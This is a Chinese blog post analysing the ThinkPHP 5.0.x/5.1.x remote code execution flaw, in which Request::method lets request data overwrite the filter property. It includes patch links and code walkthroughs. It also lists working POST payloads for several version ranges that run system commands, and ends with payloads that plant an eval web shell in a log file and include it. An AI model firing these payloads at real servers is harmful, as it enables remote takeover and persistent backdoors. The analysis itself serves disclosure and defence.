ThinkPHP 5.x RCE 漏洞分析与利用总结

 

正文

近日ThinkPHP出现由于变量覆盖而引起的RCE,其漏洞根本源于thinkphp/library/think/Request.php中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

例如:
1、大部分payload进入最后rce的函数是调用了call_user_func,其可控的也只有一个参数,并且还不能为数组。
2、另外在php7中assert不能使用,或者命令函数被禁用。

接下来将为大家进行漏洞分析以及对各个版本、场景下的利用进行详细的总结。

漏洞范围: <= 5.0.23、<= 5.1.32

5.0.x补丁:
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

5.1.x补丁:
https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6

Payload总结

1、<= 5.0.13

POST /?s=index/index

s=whoami&_method=__construct&method=&filter[]=system

2、<= 5.0.23、5.1.0 <= 5.1.16

  • 开启debug()
POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

3、<= 5.0.23
需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他。

POST /?s=captcha HTTP/1.1

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get

4、5.0.0 <= version <= 5.1.32

  • error_reporting(0)关闭报错
POST /

c=exec&f=calc.exe&_method=filter

5.0.0 <= ThinkPHP5 <= 5.1.17

thinkphp/library/think/Request.php中的$this->{$this->method}($_POST);,其中$this->method是可以通过post方式控制,其传入的参数是Config::get('var_method'),默认值为_method,这样将导致我们可以调用Request里面的方法。

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

Request里面有很多方法,比如__construct里面就会初始化一些值,通过前面method的调用,即我们可以通过$_POST数据来覆盖Request类中的属性。

protected function __construct($options = []){
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

Request属性里面有一些可利用点,比如filter,他用于处理数据。但如果能够变量覆盖后,我们就可以将它变为威胁函数system、assert,一旦经过这些函数处理,便会导致RCE。

ThinkPHP <= 5.0.12

以5.0.10作为分析:

POST /?s=index/index

sa=whoami&_method=__construct&method=&filter[]=system

ThinkPHP之前没做默认filter,即覆盖了filter就会到后面将每个参数值都处理一次,所以sa参数可以为任意,比如发现者的payload写的为s

其最后进入filter调用栈为如下:

可以看到当前请求覆盖了filter为system,最后处理到键值为sa的数据包的时候执行了system('whoami')从而执行了命令。

5.0.13 < ThinkPHP <= 5.1.17

以5.0.23作为分析

这里有一个注意点,在5.0.12之后上面payload则不行,原因在于:
其中第一次加载默认filter位置: thinkphp/library/think/App.php

$request->filter($config['default_filter']);

在覆盖的时候可以看到,默认default_filter是为空字符串,所以最后便是进入了$this->filter = $filter导致system值变为空。

public function filter($filter = null){
        if (is_null($filter)) {
            return $this->filter;
        } else {
            $this->filter = $filter;
        }
}

接下来就是我们进入了路由check,从而覆盖filter的值为system

覆盖完毕后,最后App::exec方法调用public static function module($result, $config, $convert = null)还会这样加载一次默认filter,导致之前覆盖的filter失效,从而失败。

这个时候的可以回过头来看看整个流程,寻找更多的攻击点。
第一步: 看下ThinkPHP执行流程,从最一开始的

// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();

再跟入App:run()方法,因为上面5.0.10payload失效就是因为在App::exec处进入了module调用,所以如果在此之前调用到filter也可以完成攻击。

第二步: 回顾上面5.0.10分析,主要思路是为了利用filter,最后filter利用执行命令是Request::input() -> Request::filterValue(),再往上看还有Request::param()bindParams,所以可以用正则找找其它Requests被调用的位置,例如->param\(|::param\(->input\(|::input\(

1、debug攻击向量payload
这里就可以找到第一个攻击向量,需要开启debug。

可以看到上代码,首先是在$dispatch = self::routeCheck($request, $config);处覆盖了filter为system,然后进入了debug里面的$request->param()。这也就是为什么任意模块都可以,因为它没有进入后面的exec流程,可以用下面payload测试一下。

POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

可以看到这个调用过程是param -> method -> server -> input -> filterValue,这里也不需要去覆盖method。

2、exec
在更早的版本失效的payload是因为module里面会重新覆盖filter,那就可以选择一下其他的dispatch,比如method最后进入了param

POST /?s=captcha HTTP/1.1

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get

这里需要了解一下ThinkPHP中路由地址几种定义

定义方式 定义格式
路由到模块/控制器 '[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...'
路由到重定向地址 '外部地址'(默认301重定向) 或者 ['外部地址','重定向代码']
路由到控制器的方法 '@[模块/控制器/]操作'
路由到类的方法 '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法'
路由到闭包函数 闭包函数定义(支持参数传入)

可以跟进vendor/topthink/think-captcha/src/helper.php:11中看到\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");,完整版的ThinkPHP中提供了一个验证码的功能,其方式就是路由到类的方法,这里用了一个自动类加载机制,将vendor目录下的文件加载了。

如果想要进入Captcha的路由到类的方法中: 其中rules定义了Captcha是为get方式请求,可以看到是进入$request->method()获取method。Request::mehotd()是可以进行遍历覆盖,所以可以让method变为get方式,这样就能够获得到Captcha的rules。

5.1.17 <= ThinkPHP5 >= 5.1.32

以ThinkPHP 5.1.17作为分析

再次翻到thinkphp/library/think/Request.php中的method方法可以看到,在5.1.16之后$this->{$this->method}($_POST);被改为$this->{$method} = $_POST;

这个payload是通版本payload,可以打5.0.x、5.1.x,原因在最后解释,但是由于需要加上error_reporting,有点可惜。

POST /

c=exec&f=calc.exe&_method=filter

这里有一个问题,首先通过$requests->method()覆盖完method后,返回的为filter,之后进入getMethodRules函数

getMethodRules函数便是$this->rules[$method]$this->rules['*']进行合并,这时候由于在rules数组没有filter这个键名导致报错,以至即使覆盖了filter也是没有办法执行到。

protected function getMethodRules($method){
    return array_merge($this->rules[$method], $this->rules['*']);
}

所以需要在index.php文件中添加一个error_reporting(0);,常常开发者为了方便会直接在类似此处地方加上忽略报错。

之前看exp一直好奇为什么会存在c=exec&f=calc.exe,现在回过头来研究。

1、首先是进入method,$this->filter = $_POST,这个时候filter就是c=exec&f=calc.exe&_method=filter

public function method($origin = false){
    if ($origin) {
        ....
    } elseif (!$this->method) {
        if (isset($_POST[$this->config['var_method']])) {
            $this->method    = strtoupper($_POST[$this->config['var_method']]);
            $method          = strtolower($this->method);
            $this->{$method} = $_POST;
        }
        ...
    }
    return $this->method;
}

2、Request::getFilter()函数是将c=exec&f=calc.exe&_method=filter这个作为数组全部获取

3、exploit
最后攻击的时候,可以看到filter和data数据都是c=exec&f=calc.exe&_method=filter

然后便是利用一个个filter对值进行处理,也就是调用了call_user_func执行了exec(calc.exe)

可以回顾看看: 最后的触发还是经过 Request::param() -> Request::input() -> Request::filterValue()


为什么这个payload可以打5.0.x版本?

因为Request类里面也有filter方法,总的下来,$this->{$this->method}($_POST);也就被转化为$this->{$method} = $_POST;

public function filter($filter = null){
    if (is_null($filter)) {
        xxx;
    } else {
        $this->filter = $filter;
    }
}

Exploit填坑

对于call_user_func的利用,在php7之后,由于框架更多的是类,其静态方法的存在有限。

1、转为反序列化漏洞
unserialize只需要一个字符串型参数,但是这样利用下来就是又绕了一大圈,不过对于框架来说,其中的可利用类相对较为丰富,也不失为最后的保底。

2、利用变量覆盖,覆盖全局变量,再做突破口
parse_str、extract

3、include

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
posted @   l3m0n  阅读(9274)  评论(0)    收藏  举报
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
点击右上角即可分享
微信分享提示